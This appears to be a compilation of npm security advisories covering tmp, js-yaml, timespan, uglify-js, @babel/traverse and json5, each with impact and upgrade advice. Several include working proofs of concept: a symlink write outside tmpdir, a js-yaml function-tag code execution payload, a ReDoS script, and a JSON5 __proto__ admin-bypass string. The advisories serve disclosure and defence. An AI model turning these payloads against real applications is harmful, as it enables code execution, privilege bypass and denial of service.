Version Details and Security Vulnerabilities

Summary

tmp@0.2.3 is vulnerable to an Arbitrary temporary file / directory write via symbolic link dir parameter.

Details

According to the documentation there are some conditions that must be held:

// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L41-L50

Other breaking changes, i.e.

- template must be relative to tmpdir
- name must be relative to tmpdir
- dir option must be relative to tmpdir //<-- this assumption can be bypassed using symlinks

are still in place.

In order to override the system's tmpdir, you will have to use the newly
introduced tmpdir option.


// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L375
* `dir`: the optional temporary directory that must be relative to the system's default temporary directory.
     absolute paths are fine as long as they point to a location under the system's default temporary directory.
     Any directories along the so specified path must exist, otherwise a ENOENT error will be thrown upon access, 
     as tmp will not check the availability of the path, nor will it establish the requested path for you.

Related issue: https://github.com/raszi/node-tmp/issues/207.

The issue occurs because _resolvePath does not properly handle symbolic link when resolving paths:

// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L573-L579
function _resolvePath(name, tmpDir) {
  if (name.startsWith(tmpDir)) {
    return path.resolve(name);
  } else {
    return path.resolve(path.join(tmpDir, name));
  }
}

If the dir parameter points to a symlink that resolves to a folder outside the tmpDir, it's possible to bypass the _assertIsRelative check used in _assertAndSanitizeOptions:

// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L590-L609
function _assertIsRelative(name, option, tmpDir) {
  if (option === 'name') {
    // assert that name is not absolute and does not contain a path
    if (path.isAbsolute(name))
      throw new Error(`${option} option must not contain an absolute path, found "${name}".`);
    // must not fail on valid .<name> or ..<name> or similar such constructs
    let basename = path.basename(name);
    if (basename === '..' || basename === '.' || basename !== name)
      throw new Error(`${option} option must not contain a path, found "${name}".`);
  }
  else { // if (option === 'dir' || option === 'template') {
    // assert that dir or template are relative to tmpDir
    if (path.isAbsolute(name) && !name.startsWith(tmpDir)) {
      throw new Error(`${option} option must be relative to "${tmpDir}", found "${name}".`);
    }
    let resolvedPath = _resolvePath(name, tmpDir); //<--- 
    if (!resolvedPath.startsWith(tmpDir))
      throw new Error(`${option} option must be relative to "${tmpDir}", found "${resolvedPath}".`);
  }
}

PoC

The following PoC demonstrates how writing a tmp file on a folder outside the tmpDir is possible. Tested on a Linux machine.

• Setup: create a symbolic link inside the tmpDir that points to a directory outside of it

mkdir $HOME/mydir1

ln -s $HOME/mydir1 ${TMPDIR:-/tmp}/evil-dir

• check the folder is empty:

ls -lha $HOME/mydir1 | grep "tmp-"

• run the poc

node main.js
File:  /tmp/evil-dir/tmp-26821-Vw87SLRaBIlf
test 1: ENOENT: no such file or directory, open '/tmp/mydir1/tmp-[random-id]'
test 2: dir option must be relative to "/tmp", found "/foo".
test 3: dir option must be relative to "/tmp", found "/home/user/mydir1".

• the temporary file is created under $HOME/mydir1 (outside the tmpDir):

ls -lha $HOME/mydir1 | grep "tmp-"
-rw------- 1 user user    0 Apr  X XX:XX tmp-[random-id]

• main.js

// npm i tmp@0.2.3

const tmp = require('tmp');

const tmpobj = tmp.fileSync({ 'dir': 'evil-dir'});
console.log('File: ', tmpobj.name);

try {
    tmp.fileSync({ 'dir': 'mydir1'});
} catch (err) {
    console.log('test 1:', err.message)
}

try {
    tmp.fileSync({ 'dir': '/foo'});
} catch (err) {
    console.log('test 2:', err.message)
}

try {
    const fs = require('node:fs');
    const resolved = fs.realpathSync('/tmp/evil-dir');
    tmp.fileSync({ 'dir': resolved});
} catch (err) {
    console.log('test 3:', err.message)
}

A Potential fix could be to call fs.realpathSync (or similar) that resolves also symbolic links.

function _resolvePath(name, tmpDir) {
  let resolvedPath;
  if (name.startsWith(tmpDir)) {
    resolvedPath = path.resolve(name);
  } else {
    resolvedPath = path.resolve(path.join(tmpDir, name));
  }
  return fs.realpathSync(resolvedPath);
}

Impact

Arbitrary temporary file / directory write via symlink

Versions of js-yaml prior to 3.13.0 are vulnerable to Denial of Service. By parsing a carefully-crafted YAML file, the node process stalls and may exhaust system resources leading to a Denial of Service.

Recommendation

Upgrade to version 3.13.0.

Versions of js-yaml prior to 3.13.1 are vulnerable to Code Injection. The load() function may execute arbitrary code injected through a malicious YAML file. Objects that have toString as key, JavaScript code as value and are used as explicit mapping keys allow attackers to execute the supplied code through the load() function. The safeLoad() function is unaffected.

An example payload is { toString: !<tag:yaml.org,2002:js/function> 'function (){return Date.now()}' } : 1 which returns the object { "1553107949161": 1 }

Recommendation

Upgrade to version 3.13.1.

Versions 2.0.4 and earlier of js-yaml are affected by a code execution vulnerability in the YAML deserializer.

Proof of Concept

const yaml = require('js-yaml');

const x = `test: !!js/function >
function f() { 
console.log(1); 
}();`

yaml.load(x);

Recommendation

Update js-yaml to version 2.0.5 or later, and ensure that all instances where the .load() method is called are updated to use .safeLoad() instead.

Affected versions of timespan are vulnerable to a regular expression denial of service when parsing dates.

The amplification for this vulnerability is significant, with 50,000 characters resulting in the event loop being blocked for around 10 seconds.

Recommendation

No direct patch is available for this vulnerability.

Currently, the best available solution is to use a functionally equivalent alternative package.

It is also sufficient to ensure that user input is not being passed into timespan, or that the maximum length of such user input is drastically reduced. Limiting the input length to 150 characters should be sufficient in most cases.

Versions of uglify-js prior to 2.4.24 are affected by a vulnerability which may cause crafted JavaScript to have altered functionality after minification.

Recommendation

Upgrade UglifyJS to version >= 2.4.24.

Versions of uglify-js prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the parse() method.

Proof of Concept

var u = require('uglify-js');
var genstr = function (len, chr) {
    var result = "";
    for (i=0; i<=len; i++) {
        result = result + chr;
    }

    return result;
}

u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");

Results

$ time node test.js 10000
real	0m1.091s
user	0m1.047s
sys	0m0.039s

$ time node test.js 80000
real	0m6.486s
user	0m6.229s
sys	0m0.094s

Recommendation

Update to version 2.6.0 or later.

Impact

Using Babel to compile code that was specifically crafted by an attacker can lead to arbitrary code execution during compilation, when using plugins that rely on the path.evaluate()or path.evaluateTruthy() internal Babel methods.

Known affected plugins are:

• @babel/plugin-transform-runtime
• @babel/preset-env when using its useBuiltIns option
• Any "polyfill provider" plugin that depends on @babel/helper-define-polyfill-provider, such as babel-plugin-polyfill-corejs3, babel-plugin-polyfill-corejs2, babel-plugin-polyfill-es-shims, babel-plugin-polyfill-regenerator

No other plugins under the @babel/ namespace are impacted, but third-party plugins might be.

Users that only compile trusted code are not impacted.

Patches

The vulnerability has been fixed in @babel/traverse@7.23.2.

Babel 6 does not receive security fixes anymore (see Babel's security policy), hence there is no patch planned for babel-traverse@6.

Workarounds

• Upgrade @babel/traverse to v7.23.2 or higher. You can do this by deleting it from your package manager's lockfile and re-installing the dependencies. @babel/core >=7.23.2 will automatically pull in a non-vulnerable version.
• If you cannot upgrade @babel/traverse and are using one of the affected packages mentioned above, upgrade them to their latest version to avoid triggering the vulnerable code path in affected @babel/traverse versions:
  • @babel/plugin-transform-runtime v7.23.2
  • @babel/preset-env v7.23.2
  • @babel/helper-define-polyfill-provider v0.4.3
  • babel-plugin-polyfill-corejs2 v0.4.6
  • babel-plugin-polyfill-corejs3 v0.8.5
  • babel-plugin-polyfill-es-shims v0.10.0
  • babel-plugin-polyfill-regenerator v0.5.3

The parse method of the JSON5 library before and including version 2.2.1 does not restrict parsing of keys named __proto__, allowing specially crafted strings to pollute the prototype of the resulting object.

This vulnerability pollutes the prototype of the object returned by JSON5.parse and not the global Object prototype, which is the commonly understood definition of Prototype Pollution. However, polluting the prototype of a single object can have significant security impact for an application if the object is later used in trusted operations.

Impact

This vulnerability could allow an attacker to set arbitrary and unexpected keys on the object returned from JSON5.parse. The actual impact will depend on how applications utilize the returned object and how they filter unwanted keys, but could include denial of service, cross-site scripting, elevation of privilege, and in extreme cases, remote code execution.

Mitigation

This vulnerability is patched in json5 v2.2.2 and later. A patch has also been backported for json5 v1 in versions v1.0.2 and later.

Details

Suppose a developer wants to allow users and admins to perform some risky operation, but they want to restrict what non-admins can do. To accomplish this, they accept a JSON blob from the user, parse it using JSON5.parse, confirm that the provided data does not set some sensitive keys, and then performs the risky operation using the validated data:

const JSON5 = require('json5');

const doSomethingDangerous = (props) => {
  if (props.isAdmin) {
    console.log('Doing dangerous thing as admin.');
  } else {
    console.log('Doing dangerous thing as user.');
  }
};

const secCheckKeysSet = (obj, searchKeys) => {
  let searchKeyFound = false;
  Object.keys(obj).forEach((key) => {
    if (searchKeys.indexOf(key) > -1) {
      searchKeyFound = true;
    }
  });
  return searchKeyFound;
};

const props = JSON5.parse('{"foo": "bar"}');
if (!secCheckKeysSet(props, ['isAdmin', 'isMod'])) {
  doSomethingDangerous(props); // "Doing dangerous thing as user."
} else {
  throw new Error('Forbidden...');
}

If the user attempts to set the isAdmin key, their request will be rejected:

const props = JSON5.parse('{"foo": "bar", "isAdmin": true}');
if (!secCheckKeysSet(props, ['isAdmin', 'isMod'])) {
  doSomethingDangerous(props);
} else {
  throw new Error('Forbidden...'); // Error: Forbidden...
}

However, users can instead set the __proto__ key to {"isAdmin": true}. JSON5 will parse this key and will set the isAdmin key on the prototype of the returned object, allowing the user to bypass the security check and run their request as an admin:

const props = JSON5.parse('{"foo": "bar", "__proto__": {"isAdmin": true}}');
if (!secCheckKeysSet(props, ['isAdmin', 'isMod'])) {
  doSomethingDangerous(props); // "Doing dangerous thing as admin."
} else {
  throw new Error('Forbidden...');
}